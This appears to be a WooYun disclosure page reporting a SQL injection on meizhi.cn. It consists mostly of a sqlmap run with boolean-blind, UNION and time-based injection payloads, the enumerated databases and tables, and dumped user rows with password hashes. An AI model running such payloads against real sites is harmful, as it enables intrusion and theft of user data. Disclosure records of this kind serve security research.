当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-042117

漏洞标题：美职网主站SQL注入漏洞

相关厂商：meizhi.cn

漏洞作者： lucky

提交时间：2013-11-06 13:45

修复时间：2013-12-21 13:46

公开时间：2013-12-21 13:46

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-06： 细节已通知厂商并且等待厂商处理中
2013-11-06： 厂商已经确认，细节仅向厂商公开
2013-11-16： 细节向核心白帽子及相关领域专家公开
2013-11-26： 细节向普通白帽子公开
2013-12-06： 细节向实习白帽子公开
2013-12-21： 细节向公众公开

简要描述：

详细说明：

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://www.meizhi.cn/Index/showIndustry" --data "ajax=ajax&id=32" --level=5 --risk=3 --dbs


Place: POST
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ajax=ajax&id=32) AND 7544=7544 AND (2793=2793
    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: ajax=ajax&id=32) LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6d66763a,0x46447577755454584862,0x3a6478633a), NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: ajax=ajax&id=32) AND SLEEP(5) AND (7184=7184
---
[22:08:55] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.27
back-end DBMS: MySQL 5.0.11
[22:08:55] [INFO] fetching database names
available databases [10]:
[*] information_schema
[*] meizhi
[*] meizhi_test
[*] mysql
[*] wdcpdb
Database: meizhi
[18 tables]
+--------------------+
| meizhi_article     |
| meizhi_article     |
| meizhi_channel     |
| meizhi_channel     |
| meizhi_friend_link |
| meizhi_friend_link |
| meizhi_index_focus |
| meizhi_index_focus |
| meizhi_industry    |
| meizhi_industry    |
| meizhi_job         |
| meizhi_job         |
| meizhi_place       |
| meizhi_place       |
| meizhi_position    |
| meizhi_position    |
| meizhi_user        |
| meizhi_user        |
+--------------------+
Database: meizhi
Table: meizhi_user
[19 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| attention_cnt   | int(6)       |
| audit           | tinyint(1)   |
| browse_cnt      | int(6)       |
| channel_id      | int(4)       |
| email           | varchar(50)  |
| face            | varchar(100) |
| id              | int(10)      |
| image_cnt       | int(6)       |
| index_show      | tinyint(1)   |
| integral_cnt    | int(6)       |
| invite_cnt      | int(6)       |
| isbind          | tinyint(1)   |
| last_visit_time | int(10)      |
| login_cnt       | int(6)       |
| nick            | varchar(20)  |
| password        | varchar(255) |
| register_time   | int(10)      |
| send_cnt        | int(6)       |
| unread_cnt      | int(4)       |
+-----------------+--------------+
Database: meizhi
Table: meizhi_user
[6 entries]
+----+------------+---------+----------------------------+-------+------------------+--------+--------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+--------------+---------------+---------------+-----------------+
| id | channel_id | nick    | face                       | audit | email            | isbind | password                             | send_cnt | image_cnt | login_cnt | browse_cnt | invite_cnt | index_show | unread_cnt | integral_cnt | register_time | attention_cnt | last_visit_time |
+----+------------+---------+----------------------------+-------+------------------+--------+--------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+--------------+---------------+---------------+-----------------+
| 1  | 1          | flyme   | Public/Images/boxpic01.gif | 1     | [email protected] | 0      | c4ca4238a0b923820dcc509a6f75849b (1) | 0        | 0         | 0         | 0          | 0          | 1          | 0          | 0            | 1383703082    | 0             | NULL            |
| 1  | 1          | flyme   | Public/Images/boxpic01.gif | 1     | [email protected] | 0      | c4ca4238a0b923820dcc509a6f75849b (1) | 0        | 0         | 0         | 0          | 0          | 1          | 0          | 0            | 1383703082    | 0             | NULL            |
| 2  | 1          | 123     | Public/Images/boxpic02.gif | 1     | 123              | 0      | c4ca4238a0b923820dcc509a6f75849b (1) | 0        | 0         | 0         | 0          | 0          | 1          | 0          | 0            | 1383616682    | 0             | NULL            |
| 2  | 1          | 123     | Public/Images/boxpic02.gif | 1     | 123              | 0      | c4ca4238a0b923820dcc509a6f75849b (1) | 0        | 0         | 0         | 0          | 0          | 1          | 0          | 0            | 1383616682    | 0             | NULL            |
| 3  | 1          | <blank> | Public/Images/boxpic03.gif | 1     | 456              | 0      | c4ca4238a0b923820dcc509a6f75849b (1) | 0        | 0         | 0         | 0          | 0          | 1          | 0          | 0            | 1383530282    | 0             | NULL            |
| 3  | 1          | <blank> | Public/Images/boxpic03.gif | 1     | 456              | 0      | c4ca4238a0b923820dcc509a6f75849b (1) | 0        | 0         | 0         | 0          | 0          | 1          | 0          | 0            | 1383530282    | 0             | NULL            |
+----+------------+---------+----------------------------+-------+------------------+--------+--------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+--------------+---------------+---------------+-----------------+
Database: meizhi_test
[28 tables]
+-----------------------+
| meizhi_admin_column   |
| meizhi_admin_user     |
| meizhi_album          |
| meizhi_article        |
| meizhi_channel        |
| meizhi_friend_link    |
| meizhi_function       |
| meizhi_image          |
| meizhi_index_focus    |
| meizhi_industry       |
| meizhi_ip             |
| meizhi_place          |
| meizhi_resume         |
| meizhi_style          |
| meizhi_tag            |
| meizhi_user           |
| meizhi_user_collect   |
| meizhi_user_comment   |
| meizhi_user_education |
| meizhi_user_extend    |
| meizhi_user_friend    |
| meizhi_user_item      |
| meizhi_user_message   |
| meizhi_user_tag       |
| meizhi_user_video     |
| meizhi_user_vote      |
| meizhi_user_work      |
| meizhi_video          |
+-----------------------+

漏洞证明：

修复方案：

版权声明：转载请注明来源 lucky@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-11-06 15:53

厂商回复：

感谢您的发现，美职网的程序员已紧急修复

最新状态：

暂无